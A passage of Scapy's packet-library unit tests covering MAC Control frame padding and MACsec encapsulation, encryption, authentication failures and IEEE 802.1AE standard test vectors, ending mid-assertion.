dst=MACControl.DEFAULT_DST_MAC) / \ Dot1Q(vlan=42) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert len(frm) == 60 = QinQ frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ Dot1Q(vlan=42) / \ Dot1Q(vlan=42) / \ MACControlRegisterAck(timestamp=0x12345678) frm = frm.do_build() assert len(frm) == 60 = hand craftet payload (disabled auto padding) frm = Ether(src='00:01:01:01:01:01', dst=MACControl.DEFAULT_DST_MAC) / \ MACControlRegisterAck(timestamp=0x12345678) / \ Raw(b'may pass devices') frm = Ether(frm.do_build()) raw_layer = frm[Raw] assert raw_layer.load == b'may pass devices' assert len(frm) < 64 ================================================ FILE: test/contrib/macsec.uts ================================================ # MACsec unit tests # run with: # test/run_tests -P "load_contrib('macsec')" -t test/contrib/macsec.uts -F + MACsec ~ crypto not_pypy # Note: these tests are disabled with pypy, as the cryptography module does # not currently work with the pypy version used by Travis CI. = MACsec - basic encap - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) assert m.type == ETH_P_MACSEC assert m[MACsec].type == ETH_P_IP assert len(m) == len(p) + 16 assert m[MACsec].AN == 0 assert m[MACsec].PN == 100 assert m[MACsec].SL == 0 assert m[MACsec].SC assert m[MACsec].E assert m[MACsec].C assert m[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' assert m[MACsec].mysummary() == r"AN=0, PN=100, SCI=b'RT\x00\x13\x01V\x00\x01', IPv4" = MACsec - basic encryption - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) assert e.type == ETH_P_MACSEC assert e[MACsec].type == None assert len(e) == len(p) + 16 + 16 assert e[MACsec].AN == 0 assert e[MACsec].PN == 100 assert e[MACsec].SL == 0 assert e[MACsec].SC assert e[MACsec].E assert e[MACsec].C assert e[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' = MACsec - basic decryption - encrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) assert d.type == ETH_P_MACSEC assert d[MACsec].type == ETH_P_IP assert len(d) == len(m) assert d[MACsec].AN == 0 assert d[MACsec].PN == 100 assert d[MACsec].SL == 0 assert d[MACsec].SC assert d[MACsec].E assert d[MACsec].C assert d[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' assert raw(d) == raw(m) = MACsec - basic decap - decrypted sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=100, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) r = sa.decap(d) assert raw(r) == raw(p) = MACsec - basic encap - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) assert m.type == ETH_P_MACSEC assert m[MACsec].type == ETH_P_IP assert len(m) == len(p) + 16 assert m[MACsec].AN == 0 assert m[MACsec].PN == 200 assert m[MACsec].SL == 0 assert m[MACsec].SC assert not m[MACsec].E assert not m[MACsec].C assert m[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' = MACsec - basic encryption - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) assert m.type == ETH_P_MACSEC assert e[MACsec].type == None assert len(e) == len(p) + 16 + 16 assert e[MACsec].AN == 0 assert e[MACsec].PN == 200 assert e[MACsec].SL == 0 assert e[MACsec].SC assert not e[MACsec].E assert not e[MACsec].C assert e[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' assert raw(e)[:-16] == raw(m) = MACsec - basic decryption - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) assert d.type == ETH_P_MACSEC assert d[MACsec].type == ETH_P_IP assert len(d) == len(m) assert d[MACsec].AN == 0 assert d[MACsec].PN == 200 assert d[MACsec].SL == 0 assert d[MACsec].SC assert not d[MACsec].E assert not d[MACsec].C assert d[MACsec].SCI == b'\x52\x54\x00\x13\x01\x56\x00\x01' assert raw(d) == raw(m) = MACsec - basic decap - integrity only sa = MACsecSA(sci=b'\x52\x54\x00\x13\x01\x56\x00\x01', an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/IP(src='192.168.0.1', dst='192.168.0.2')/ICMP(type='echo-request')/"1234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890" m = sa.encap(p) e = sa.encrypt(m) d = sa.decrypt(e) r = sa.decap(d) assert raw(r) == raw(p) = MACsec - encap - shortlen 2 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') m = sa.encap(p) assert m[MACsec].SL == 2 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 10 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 8) m = sa.encap(p) assert m[MACsec].SL == 10 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 18 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 16) m = sa.encap(p) assert m[MACsec].SL == 18 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 32 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) m = sa.encap(p) assert m[MACsec].SL == 32 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 40 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 38) m = sa.encap(p) assert m[MACsec].SL == 40 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 47 sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) m = sa.encap(p) assert m[MACsec].SL == 47 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 0 (48) sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45 + "y") m = sa.encap(p) assert m[MACsec].SL == 0 = MACsec - encap - shortlen 2/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd') m = sa.encap(p) assert m[MACsec].SL == 2 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 32/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 30) m = sa.encap(p) assert m[MACsec].SL == 32 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - encap - shortlen 47/nosci sa = MACsecSA(sci=0x5254001301560001, an=0, pn=200, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=0) p = Ether(src='aa:aa:aa:bb:bb:bb', dst='cc:cc:cc:dd:dd:dd')/Raw("x" * 45) m = sa.encap(p) assert m[MACsec].SL == 47 assert len(m) == m[MACsec].SL + 20 + (8 if sa.send_sci else 0) = MACsec - authenticate tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5 \x00\x00\x00\x00\rRT\x00\x13\x01V\x00\x01\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\xf1\xb8\xe4,b\xb00\x98L\x85m1Q9\t:") rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=0, send_sci=1) txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) txdec = txsa.decap(txsa.decrypt(tx)) rxdec = rxsa.decap(rxsa.decrypt(rx)) txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00T\x11:@\x00@\x01\xa6\x1b\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00a\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37" assert raw(txdec) == raw(txref) assert raw(rxdec) == raw(rxref) = MACsec - authenticate - invalid packet rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5 \x00\x00\x00\x00#RT\x00\x12\x01V\x00\x01\x08\x00E\x00\x00T\xd4\x1a\x00\x00@\x01#;\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00i\xeaG+\x00\x01\xc0~RY\x00\x00\x00\x00w>\x06\x00\x00\x00\x00\x00\xba\xdb\xba\xdb\xad\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37z\x11\xf8S\xe5u\x81\xe8\x19\\nxX\x02\x13\x01") txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=0, send_sci=1) try: rxdec = rxsa.decap(rxsa.decrypt(rx)) assert not "This packet shouldn't have been authenticated as correct" except InvalidTag: pass = MACsec - decrypt tx = Ether(b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x88\xe5,\x00\x00\x00\x00\x1fRT\x00\x13\x01V\x00\x01\xf1\xd6\xf7\x03\xf0%\x19\x8e\x88\xb0\xac\xa1\x82\x98\x94]\x85&\xc4U*\x84kX#O\xb6\x8f\xf1\x9d\xc5\xdc\xe0\x80,\x98\x8e_\xd53e\x16b0\xaf\xd9\x9e;A\x8aM\xfe\x16\xf6j\xe6\xea\xb7\x9c\xf3\x9bCc#,\x93\xf7\xc0\xdb\x9a\xd0\x0c\xfd?\xcbd\xe5D\xb7\xc9\xbb\xf5\x93M\xc5\x1d'LR\xed\xf3\xbc\xa0\xdf\x86\xf7\xc2JN\xcd\x19\xc1?\xf7\xd2\xbe\x00\x0f`\xe0\x04\xcfX5\xdc\xe7\xb6\xe6\x82\xc4\xac\xd7\x06\xe31\xbe|\x98l\xc8\xc1#*n+x|\xad\x0b<\xfd\xb8\xceoR\x1e") rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xef\xf4\xee\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) txsa = MACsecSA(sci=0x5254001301560001, an=0, pn=31, key=b'\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61', icvlen=16, encrypt=1, send_sci=1) txdec = txsa.decap(txsa.decrypt(tx)) rxdec = rxsa.decap(rxsa.decrypt(rx)) txref = b"RT\x00\x12\x01V.\xbc\x84\xd5\xca\x13\x08\x00E\x00\x00\x80#D@\x00@\x01\x93\xe5\xc0\xa8\x01\x01\xc0\xa8\x01\x02\x08\x00E\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" rxref = b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x08\x00E\x00\x00\x80\x05\xab\x00\x00@\x01\xf1~\xc0\xa8\x01\x02\xc0\xa8\x01\x01\x00\x00M\xd5\x0f\xb3\x00\x01SrSY\x00\x00\x00\x00\x8b\x1d\r\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abc" assert raw(txdec) == raw(txref) assert raw(rxdec) == raw(rxref) = MACsec - decrypt - invalid packet rx = Ether(b".\xbc\x84\xd5\xca\x13RT\x00\x12\x01V\x88\xe5,\x00\x00\x00\x005RT\x00\x12\x01V\x00\x01\x04\xbaV\xe6\xcf\xcfbhy\x7f\xce\x12.\x80WI\xe5\xd5\x98)6\xe1vjVO@\x84\xde\x9b\x83\xbaw\xef\x13\xc3\xfd\xad\x81\xd4S?\x01\x01\xab\xa8 PzSq2\x905\xf6\x8cT\xd7\xb0P\xe2\xd04\xc7F\x88\x85\x10\xc3\x99\x80\xe3(\t\x10\x87\xa9{z\x22\xce>;Mr\xbe\xc1\xa0\x07%\x01\x96\xe5\xa3\x18]\xec\xbb\x7f\xde0\xa1\x99\xb2\xad\x93j\x97\xba\xdb\xad\xf0\xe4s\xb7h\x95\xc3\x8b[~hX\xbf|\xee\x99\x97\xe0;Q\x9aa\xb9\x13$\xd6\xe4\xb4\xce\njt\xc0\xa1.") rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxdec = rxsa.decap(rxsa.decrypt(rx)) assert not "This packet shouldn't have been decrypted correctly" except InvalidTag: pass = MACsec - decap - non-Ethernet rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxsa.decap(IP()) except TypeError as e: assert str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec" = MACsec - decap - non-MACsec rxsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: rxsa.decap(Ether()/IP()) except TypeError as e: assert str(e) == "cannot decapsulate MACsec packet, must be Ethernet/MACsec" = MACsec - encap - non-Ethernet txsa = MACsecSA(sci=0x5254001201560001, an=0, pn=31, key=b'aaaaaaaaaaaaaaaa', icvlen=16, encrypt=1, send_sci=1) try: txsa.encap(IP()) except TypeError as e: assert str(e) == "cannot encapsulate packet in MACsec, must be Ethernet" # Reference packets tests from the MACsec specification document (IEEE Std 802.1AEbw-2013, Annex C). # Check encapsulation, encryption, decryption, decapsulation for each test case. = MACsec - Standard Test Vectors - C.1.1 GCM-AES-128 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001")) m = sa.encap(p) iv = sa.make_iv(m) assert raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65') e = sa.encrypt(m) ref = Raw(bytes.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001F09478A9B09007D06F46E9B6A1DA25DD")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.1.2 GCM-AES-256 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1) p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001")) m = sa.encap(p) iv = sa.make_iv(m) assert raw(iv) == raw(b'\x12\x15\x35\x24\xC0\x89\x5E\x81\xB2\xC2\x84\x65') e = sa.encrypt(m) ref = Raw(bytes.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400012F0BC5AF409E06D609EA8B7D0FA5EA50")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.1.3 GCM-AES-XPN-128 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xAD\x7A\x2B\xD0\x3E\xAC\x83\x5A\x6F\x62\x0F\xDC\xB5\x06\xB3\x45', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001")) m = sa.encap(p) iv = sa.make_iv(m) assert raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08') e = sa.encrypt(m) ref = Raw(bytes.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F3031323334000117FE1981EBDD4AFC5062697E8BAA0C23")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.1.4 GCM-AES-XPN-256 (54-octet frame integrity protection) sa = MACsecSA(sci=b'\x12\x15\x35\x24\xC0\x89\x5E\x81', an=2, pn=0xB0DF459CB2C28465, key=b'\xE3\xC0\x8A\x8F\x06\xC6\xE3\xAD\x95\xA7\x05\x57\xB2\x3F\x75\x48\x3C\xE3\x30\x21\xA9\xC7\x2B\x70\x25\x66\x62\x04\xC6\x9C\x0B\x72', icvlen=16, encrypt=0, send_sci=1, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='7A:0D:46:DF:99:8D', dst='D6:09:B1:F0:56:63', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340001")) m = sa.encap(p) iv = sa.make_iv(m) assert raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\xAE\xA4\x7E\x08') e = sa.encrypt(m) ref = Raw(bytes.fromhex("D609B1F056637A0D46DF998D88E5222AB2C2846512153524C0895E8108000F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F303132333400014DBD2F6A754A6CF728CC129BA6931577")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.5.1 GCM-AES-128 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0) p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004")) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED') e = sa.encrypt(m) ref = Raw(bytes.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED13B4C72B389DC5018E72A171DD85A5D3752274D3A019FBCAED09A425CD9B2E1C9B72EEE7C9DE7D52B3F3D6A5284F4A6D3FE22A5D6C2B960494C3")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.5.2 GCM-AES-256 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0x76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0) p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004")) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert raw(iv) == raw(b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01\x76\xD4\x57\xED') e = sa.encrypt(m) ref = Raw(bytes.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457EDC1623F55730C93533097ADDAD25664966125352B43ADACBD61C5EF3AC90B5BEE929CE4630EA79F6CE51912AF39C2D1FDC2051F8B7B3C9D397EF2")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.5.3 GCM-AES-XPN-128 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x07\x1B\x11\x3B\x0C\xA7\x43\xFE\xCC\xCF\x3D\x05\x1F\x73\x73\x82', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004")) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert raw(iv) == 